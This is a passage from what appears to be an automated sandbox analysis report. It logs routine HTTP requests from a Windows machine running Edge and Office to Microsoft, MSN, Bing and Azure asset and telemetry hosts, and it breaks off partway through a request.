Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732730261&P2=404&P3=2&P4=CPOLVoaftiipPh71Q30slYjtZ8Rr1BJsMDvkYSo6l6FgBQmUG5tXry2a%2bJ4bKNYY1nsSSWxe3QCmUHuf%2fnQIHw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: fXjBeYy9JNgOVAGmmkwG4FSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d8138f3dce7b41b682f8729ff9e7fa36&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-338387&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p=Cache-Control: no-cacheMS-CV: X3A135pH506y4OIk.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6dabf1d45e9c46a8832de0f67e61659a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-280815&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p=Cache-Control: no-cacheMS-CV: X3A135pH506y4OIk.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e417e721a23c48d0afa3b18e74b187f4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-338388&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p=Cache-Control: no-cacheMS-CV: X3A135pH506y4OIk.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&RedC=c.msn.com&MXFR=28E93D09C21660CD09BC2834C3746145 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 